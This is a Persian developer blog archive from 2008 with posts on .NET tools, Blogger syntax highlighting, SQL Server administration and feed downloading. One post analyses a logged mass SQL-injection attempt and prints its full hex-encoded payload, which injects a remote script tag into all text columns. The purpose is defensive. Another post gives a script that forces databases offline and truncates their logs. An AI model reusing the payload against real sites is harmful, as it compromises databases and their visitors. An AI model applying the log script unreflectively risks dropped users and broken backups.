۱۳۸۷/۰۸/۱۰

بلاگ‌ها و مطالب مطالعه شده در هفته قبل (هفته اول آبان)



وبلاگ‌هاي ايراني


Visual Studio

  • ويژوال استوديو 2010 و دات نت فريم ورك 4، نگارش CTP براي دريافت!

امنيت اطلاعات

ASP. Net

طراحي وب


اس‌كيوال سرور


به روز رساني‌ها


ابزارها

سي‌شارپ
  • ويژگي‌هاي جديد C# 4.0 ، قسمت دوم، پارامترهاي پيش فرض (يا آرگومانهاي اختياري). (چيزي شبيه به VB !! بدون نياز به overloading براي پياده سازي آن)

دلفي
  • ويديويي از Delphi Prism . (نگارشي از دلفي كه به شكل افزونه‌اي كاملا يكپارچه در VS.Net قابل دسترسي است)

SharePoint

ويندوز

متفرقه


۱۳۸۷/۰۸/۰۹

تشخيص خودكار كدهاي تكراري در يك پروژه Visual Studio



آيا مي‌دانيد چند درصد از كدهاي يك پروژه شما در قسمت‌هاي مختلف آن تكراري هستند و تا چه حد نياز به refactoring كدهاي موجود جهت مديريت و نگهداري ساده‌تر از آن پروژه وجود دارد؟
اخيرا پروژه سورس بازي در سايت CodePlex به نام Clone detective ارائه شده است كه اين كار را به صورت خودكار با يكپارچه شدن با Visual studio براي شما انجام مي‌دهد. اين افزودني از آدرس زير قابل دريافت است:
http://www.codeplex.com/CloneDetectiveVS


بهترين آموزش نحوه استفاده از آن هم از طريق ويديوي زير در دسترس است:
مشاهده

در نگارش فعلي آن تنها پروژه‌هاي سي شارپ پشتيباني مي‌شوند و در نگارش‌هاي آتي آن قرار است VB.net و CPP نيز افزوده شوند.

به چه دليلي به اين ابزار نياز داريم؟
فرض كنيد كلاسي را جهت انجام مقصودي خاص توسعه داده‌ايد. در كلاسي ديگر براي اتمام آن، 15 سطر از يكي از توابع كلاس اول را كپي كرده و مورد استفاده قرار داده‌ايد. در يك پروژه بزرگ از اين موارد شايد زياد رخ دهد (خصوصا در يك كار تيمي كه ممكن است قسمتي از كار شما به‌عنوان پايه اوليه كاري ديگر مورد استفاده قرار گيرد). پس از مدتي، تغييراتي را در كلاس اول ايجاد كرده و يك سري از عيوب آن 15 سطر را كه جزئي از يك تابع است برطرف خواهيد كرد. بسيار هم خوب! آيا اين پايان كار است؟ خير!
آيا اين مورد به كل پروژه منتقل شده است؟ آيا نگهداري يك پروژه بزرگ كه داراي قسمت‌هاي تكراري زيادي است كار ساده‌اي است؟

علاوه بر ابزار فوق، برنامه ديگري نيز جهت تشخيص كدهاي تكراري در يك پروژه به نام Simian موجود است. Simian را از آدرس زير مي‌توانيد دريافت كنيد:
http://www.redhillconsulting.com.au/products/simian/overview.html
اين ابزار به صورت يك افزودني VS.net ارائه نشده است اما مي‌توان از طريق منوي tools آنرا به مجموعه ابزارهاي مورد استفاده اضافه كرد. نحوه انجام اينكار به صورت مصور در وبلاگ زير بيان شده است:
مشاهده

همچنين از ابزارهاي ديگري از اين دست مي‌توان به برنامه رايگان CCFinder‌ اشاره كرد: (ثبت نام دريافت آن رايگان است)
http://www.ccfinder.net


۱۳۸۷/۰۸/۰۸

ويديوهاي آموزشي NHibernate


دو سري ويديوي رايگان آموزشي NHibernate در سال جاري در مجامع مرتبط ارائه شده است كه ديدن آنها خالي از لطف نيست. حتي اگر از NHibernate هم نخواهيد استفاده كنيد مفاهيم unit testing ، refactoring و امثال آن در اين مجموعه‌ها به شكل بسيار مبسوطي توضيح داده شده‌اند.

سري اول:
Summer of NHibernate Screencast Series
http://www.summerofnhibernate.com/

سري دوم:
تا اين لحظه 5 ويديوي مقدماتي NHibernate در سايت http://www.dimecasts.net/Casts/ByTag/NHibernate منتشر شده‌اند. سايت جالبي است و محدود به اين مورد خاص نيست.


۱۳۸۷/۰۸/۰۷

Syntax highlighting در بلاگر!


اگر علاقمند باشيد كه syntax highlighting را به سورس كدهاي ارسالي در بلاگر اضافه كنيد، روش كار به صورت زير است:
از آنجائيكه دسترسي به سرور و راه‌ حل‌هاي سمت سرور را نخواهيم داشت، تنها راه حل باقيمانده استفاده از روش‌هاي سمت كلاينت است. كتابخانه زير اين امر را ميسر مي‌سازد:
http://code.google.com/p/syntaxhighlighter/
اين كتابخانه، كار Syntax highlighting سمت كلاينت را با استفاده از JavaScript انجام مي‌دهد.

پس از دريافت آن (احتمالا به يك پروكسي نياز پيدا خواهيد كرد ...)، فايل‌ها را در يك سرور قرار دهيد. (براي مثال در Google pages)
سپس به قسمت ويرايش html قالب سايت مراجعه كنيد و كدهاي زير را به آن اضافه نمائيد (درصورت نياز مسيرهاي فايل‌ها را ويرايش كنيد):
<link href='http://vahid.nasiri.googlepages.com/SyntaxHighlighter.css' rel='stylesheet' type='text/css'/>
<script src='http://vahid.nasiri.googlepages.com/shCore.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushCpp.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushCSharp.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushCss.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushJava.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushJScript.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushSql.js' type='text/javascript'/>
<script src='http://vahid.nasiri.googlepages.com/shBrushXml.js' type='text/javascript'/>

<script class='javascript'>
//<![CDATA[
function FindTagsByName(container, name, Tag)
{
var elements = document.getElementsByTagName(Tag);
for (var i = 0; i < elements.length; i )
{
if (elements[i].getAttribute("name") == name)
{
container.push(elements[i]);
}
}
}
var elements = [];
FindTagsByName(elements, "code", "pre");
FindTagsByName(elements, "code", "textarea");

for(var i=0; i < elements.length; i ) {
if(elements[i].nodeName.toUpperCase() == "TEXTAREA") {
var childNode = elements[i].childNodes[0];
var newNode = document.createTextNode(childNode.nodeValue.replace(/<br\s*\/?>/gi,'\n'));
elements[i].replaceChild(newNode, childNode);

}
else if(elements[i].nodeName.toUpperCase() == "PRE") {
brs = elements[i].getElementsByTagName("br");
for(var j = 0, brLength = brs.length; j < brLength; j ) {
var newNode = document.createTextNode("\n");
elements[i].replaceChild(newNode, brs[0]);
}
}
}
// dp.SyntaxHighlighter.ClipboardSwf =
//"http://vahid.nasiri.googlepages.com/clipboard.swf";
dp.SyntaxHighlighter.HighlightAll("code");
//]]>
</script>


خطوط فوق بايد پس از تگ‌هاي زير در قالب استاندارد قرار داده شوند:
</div></div> <!-- end outer-wrapper -->

از اين پس جهت استفاده از اين قابليت تنها كافي است از تگ‌هاي pre يا textarea استفاده كنيد (در قسمت html ارسال مطلب) و name را مساوي code قرار داده و language را مساوي زبان مورد نظر. براي مثال:

<div align="left" dir="ltr">
<pre name='code' language='sql'>
--get login time
SELECT login_time FROM master..sysprocesses WHERE spid = 1
</pre>
</div>

كه نتيجه نهايي به صورت زير خواهد بود:
--get login time
SELECT login_time FROM master..sysprocesses WHERE spid = 1

همچنين بايد دقت داشت كه مجاز به ارسال كاراكترهاي غيرمجاز در xml (<>\'&) در كدهاي خود نيستيد و اين كاراكترها سبب خواهند شد كه كد شما نمايش داده نشوند. به همين جهت همانطور كه پيشتر نيز ذكر شد مي‌توان از سرويس سايت http://www.elliotswan.com/postable/ استفاده كرد.

ماخذ:
http://developertips.blogspot.com/2007/08/syntaxhighlighter-on-blogger.html



۱۳۸۷/۰۸/۰۶

كاهش حجم لاگ‌ فايل‌هاي اس‌كيوال سرور 2005 و 2008

نمي‌دونم تابحال به صورت جدي با SharePoint مايكروسافت كار كرديد يا نه؟ اين برنامه كه عمده كارهاي خودش رو با SQL server انجام ميده در طول يك روز ممكن است تا 80 گيگ log file اس‌كيوال سرور توليد كند و بعد از چند روز اگر به همين صورت به حال خود رها شود (كه عموما هم به همين صورت است!) ممكن است ديگر قادر به استفاده از سرور به دليل پر شدن درايوي كه لاگ فايل‌ها در آن ذخيره مي‌شوند نباشيد.
همچنين رشد tempdb نيز توسط اين برنامه بسيار چشم‌گير است. بنابراين هميشه به‌خاطر داشته باشيد محل قرارگيري tempdb و همچنين محل قرارگيري لاگ فايل‌ها (كه هر دو قابل تنظيم هستند) را در درايوهايي قرار دهيد كه حداقل 100 گيگ فضاي خالي در آنها موجود باشد.
با استفاده از اسكريپت زير مي‌شود حجم لاگ فايل‌هاي اس كيوال سرور را به حداقل رساند و نفس راحتي كشيد! اين مساله اگر جدي گرفته نشود واقعا تبديل به يك كابوس مي‌شود!
اسكريپت زير كليه ديتابيس‌هاي موجود را يافته و shrink مي‌كند. قسمت offline و online كردن آن هم به اين خاطر است كه ارتباط تمام كاربران متصل را به صورت آني قطع مي‌كند (يكي از چندين روش موجود براي kill كردن كاربران است). (يك stored procedure از آن درست كنيد و با تعريف يك job جديد در اس كيوال سرور ، اين stored procedure را براي مثال هر روز ساعت 3 بامداد به صورت خودكار اجرا كنيد)
Declare @database nvarchar(1000)
Declare @tsql nvarchar(4000)
Declare DatabaseCursor Cursor
Local
Static
For
select name from master.dbo.sysdatabases
open DatabaseCursor
fetch next from DatabaseCursor into @database

while @@fetch_status = 0
begin
print 'database:' + @database
if @database not in ('tempdb','master','model','msdb')
begin
SET @tsql = 'use master;
alter database ['+@database+'] set offline with rollback immediate;
alter database ['+@database+'] set online;
DECLARE @dbLogName nvarchar(500) ;
Use ['+@database+'] ;
select @dbLogName = rtrim(ltrim(name)) from sysfiles WHERE FILEID=2;
ALTER DATABASE ['+@database+'] SET SINGLE_USER ;
DBCC SHRINKFILE(@dbLogName , 2) ;
BACKUP LOG ['+@database+'] WITH TRUNCATE_ONLY ;
DBCC SHRINKFILE(@dbLogName , 2) ;
ALTER DATABASE ['+@database+'] SET MULTI_USER ;'
exec(@tsql)
end
fetch next from DatabaseCursor into @database
end

close DatabaseCursor

deallocate DatabaseCursor
اسكريپت فوق با SQL Server 2005 سازگار است اما در SQL Server 2008 منسوخ شده است! (قسمت truncate كردن)
نسخه سازگار با SQL server 2008 آن به صورت زير است:

Declare @database nvarchar(1000)
Declare @tsql nvarchar(4000)
Declare DatabaseCursor Cursor
Local
Static
For
select name from master.dbo.sysdatabases
open DatabaseCursor
fetch next from DatabaseCursor into @database

while @@fetch_status = 0
begin
print 'database:' + @database
if @database not in ('tempdb','master','model','msdb')
begin
SET @tsql = 'use master;
alter database ['+@database+'] set offline with rollback immediate;
alter database ['+@database+'] set online;
DECLARE @dbLogName nvarchar(500) ;
Use ['+@database+'] ;
select @dbLogName = rtrim(ltrim(name)) from sysfiles WHERE FILEID=2;
ALTER DATABASE ['+@database+'] SET RECOVERY SIMPLE;
ALTER DATABASE ['+@database+'] SET SINGLE_USER ;
DBCC SHRINKFILE(@dbLogName , 2) ;
ALTER DATABASE ['+@database+'] SET MULTI_USER ;
ALTER DATABASE ['+@database+'] SET RECOVERY FULL;'
exec(@tsql)
end
fetch next from DatabaseCursor into @database
end

close DatabaseCursor

deallocate DatabaseCursor
ماخذ اصلي مورد استفاده:
http://go.microsoft.com/fwlink/?LinkId=111531&clcid=0x409


۱۳۸۷/۰۸/۰۵

مديريت دانلود‌هاي همزمان از يك سايت و بحث تايم آوت

يك سرويس ويندوز ان تي با سي شارپ نوشته‌ام كه كارش مراجعه به يك سري آدرس RSS و ذخيره سازي آنها به صورت آناليز شده در يك ديتابيس SQL server است (اين مورد ضعفي است كه اكثر برنامه‌هاي فيدخوان دارند و پس از مدتي كار با آنها اين احساس را داريد كه اطلاعات گذشته را از دست داده‌ايد).
در طي آزمايش اوليه اين سرويس، به مشكل عجيب timeout پس از باز كردن براي مثال سومين يا چهارمين thread همزمان براي دانلود كردن اطلاعات بر خوردم. همه چيز درست بود، از كلاس‌ها، دريافت اطلاعات از وب و غيره، اما برنامه كار نمي‌كرد. اين مشكل فقط هم با feedburner.com رخ مي‌داد (همانطور كه مطلع هستيد feedburner.com سرويسي را جهت پيگيري آمار مشتركين فيدهاي شما ارائه مي‌دهد كه بسيار جالب است. براي مثال چند نفر مشترك داريد، يا يك سري نمودار و غيره. به همين جهت رسم شده است كه اكثر سايت‌ها فيدهاي خودشان را در اين سايت نيز ثبت مي‌كنند).
پس از مدتي جستجو به نكته جالب زير برخوردم كه شايد براي شما هم در آينده مفيد باشد:
مطابق RFC2068 - Hypertext Transfer Protocol -- HTTP/1.1 ، شما تنها مجازيد 2 كانكشن فعال به يك سايت باز كنيد. اين علت تايم آوت در سومين thread ايجاد شده بود. براي مثال IE اين مورد را محترم مي‌شمارد. در دات نت نيز به صورت پيش فرض اين محدوديت قرار داده شده است كه به‌سادگي مي‌توان آنرا تغيير داد. براي اين منظور بايد يك فايل app.config به پروژه اضافه كرد و سپس خطوط زير را به آن افزود:

<configuration>
<system.net>
<connectionManagement>
<add address="*" maxconnection="100" />
</connectionManagement>
</system.net>
</configuration>


بعد از اين تغيير مشكل timeout برنامه حل شد.

براي مديريت چندين ترد همزمان دانلود كننده و در صف قرار دادن آنها در اين پروژه، از كتابخانه سورس باز زير استفاده كردم:
http://www.codeplex.com/smartthreadpool

مآخذ:
http://msdn.microsoft.com/en-us/library/fb6y0fyc.aspx
http://www.faqs.org/rfcs/rfc2068.html
http://vahidnasiri.blogspot.com
http://odetocode.com/Blogs/scott/archive/2004/06/08/272.aspx

پ.ن.
براي اينكه در بلاگر بتوانيد متون حاوي xml را ارسال كنيد بايد از سرويس زير استفاده كنيد
http://www.elliotswan.com/postable/

۱۳۸۷/۰۸/۰۳

حمله چيني‌ها به سايت‌هاي ايراني !



چند روز پيش داشتم لاگ‌هاي خطاي يكي از سايت‌هايي رو كه درست كرده‌ام بررسي مي‌كردم، متوجه حجم بالاي فايل لاگ خطاي آن شدم (در چند سايت مختلف اين مورد مشابه را ديدم). پس از بررسي، مورد زير بسيار جالب بود:

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com


خوب اين چي هست؟!
قبل از اينكه با اجراي عبارت SQL فوق به صورت تستي و محض كنجكاوي، كل ديتابيس جاري (SQL server) را آلوده كنيم مي‌شود تنها قسمت cast آنرا مورد بررسي قرار داد. براي مثال به صورت زير:
print CAST(0x444... AS CHAR(4000))

خروجي، عبارت زير خواهد بود كه به صورت استادانه‌اي مخفي شده است:

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

.....

عبارت T-SQL فوق، تمامي فيلدهاي متني (varchar ، char ، text و امثال آن) كليه جداول ديتابيس جاري را پيدا كرده و به آن‌ها اسكريپتي را اضافه مي‌كند. (آدرس‌هاي فوق وجود ندارد و بنابراين ارجاع آن صرفا سبب كندي شديد باز شدن صفحات سايت خواهد شد بدون اينكه نمايش ظاهري خاصي را مشاهده نمائيد)

اين حمله اس كيوال موفق نبود. علت؟
اگر به آدرس بالا دقت كنيد آدرس صفحه به show.aspx?id=15 ختم مي‌شود. براي مثال نمايش خبر شماره 15 در سايت. در اينجا، هدف، دريافت يك عدد صحيح از طريق query string است و نه هيچ چيز ديگري. بنابراين قبل از انجام هر كاري و تنها با بررسي نوع داده دريافتي، اين نوع حملات عقيم خواهند شد. (براي مثال بكارگيري ...int.Parse(Request) در صورت عدم دريافت يك متغير عددي، سبب ايجاد يك exception شده و برنامه در همين نقطه متوقف مي‌شود)


IP هاي زير حمله بالا رو انجام دادند:
IP=61.153.33.106
IP=211.207.124.182
IP=59.63.97.18
IP=117.88.137.174
IP=58.19.130.130
IP=121.227.61.188
IP=125.186.252.99
IP=218.79.55.50
IP=125.115.2.4
IP=221.11.190.75
IP=120.129.71.187
IP=221.205.71.199
IP=59.63.97.18
IP=121.227.61.188

اين آي پي‌ها يا چيني هستند يا كره‌اي و البته الزامي هم ندارد كه حتما متعلق به اين كشورها باشند (استفاده از پروكسي توسط يك "هم‌وطن" براي مثال).

حالا شايد سؤال بپرسيد كه چرا از اين اعداد هگز استفاده كرده‌اند؟ چرا مستقيما عبارت sql را وارد نكرده‌اند؟
هميشه ورودي ما از يك كوئري استرينگ عدد نخواهد بود (بسته به طراحي برنامه). در اين موارد بررسي اعتبار كوئري استرينگ وارد شده بسيار مشكل مي‌شود. براي مثال مي‌شود تابعي طراحي كرد كه اگر در مقدار دريافتي از كوئري استرينگ، select يا insert يا update و امثال آن وجود داشت، به صورت خودكار آنها را حذف كند. اما استفاده از cast فوق توسط فرد مهاجم، عملا اين نوع روش‌ها را ناكارآمد خواهد كرد. براي مقابله با اين حملات اولين اصلي را كه بايد به‌خاطر داشت اين است: به كاربر اجازه انشاء نوشتن ندهيد! اگر قرار است طول رشته دريافتي مثلا 32 كاراكتر باشد، او حق ندارد بيشتر از اين مقداري را وارد نمايد (به طول بيش از اندازه رشته وارد شده فوق دقت نمائيد).
و موارد ديگري از اين دست (شامل تنظيمات IIS ، روش‌هاي صحيح استفاده از ADO.NET براي مقابله با اين نوع حملات و غيره) كه خلاصه آن‌ها را در كتاب فارسي زير مي‌توانيد پيدا كنيد:
http://naghoos-andisheh.ir/product_info.php?products_id=197


۱۳۸۷/۰۸/۰۲

مديريت فايلهاي يك پروژه نرم افزاري با استفاده از Subversion

كتابچه‌اي را درباره‌ي كار با SVN تهيه كرده‌ام كه از آدرس زير قابل دريافت است:
دريافت فايل

خلاصه‌اي از مقدمه كتاب:
آيا شما هم جزو آن دسته از برنامه نويساني هستيد كه هنوز به ازاي هر نگارش از برنامه، سورس‌كدهاي خود را فشرده كرده و آنها را بر اساس تاريخ آرشيو مي‌كنند؟ آيا مي‌توانيد گزارشي مقايسه‌اي را از تغييرات انجام شده در سورس كدهاي دو نگارش اخير برنامه خود ارائه دهيد؟ آيا مي‌دانيد فايلي را كه هم اكنون بر روي آن مشغول به كار هستيد در نگارش قبلي آن چه وضعيتي داشته و مقايسه آن با فايل فعلي شامل چه موارد و تغييراتي خواهد شد؟ آيا امكان بازگشت سريع و تبديل سورس كدهاي جاري برنامه را به سه نگارش قبل كه از نظر شما پايدارتر هستند، بدون اضطراب و تشنج عصبي و با سرعت هرچه تمام‌تر و بدون خطا داريد؟ آيا مي‌دانيد بر روي يك فايل ويژه پروژه چه كساني كار كرده‌اند و چه تغييراتي را اعمال نموده‌اند؟ آيا مي‌توانيد در يك تيم برنامه نويسي در كنار ساير برنامه‌نويس‌ها بر روي يك پروژه واحد كار كنيد و به‌سادگي تداخلات رخ داده را مرتفع و يا آخرين تغييرات انجام شده را ادغام نمائيد؟ آيا مي‌توانيد همواره آخرين نگارش تائيد شده پروژه را به سرعت و با دقت تمام به افراد تيم نرم افزاري خود تحويل دهيد؟ آيا مكان مجتمعي را جهت نگهداري سورس‌كدهاي پروژه‌هاي مختلف، در سازمان خود داريد؟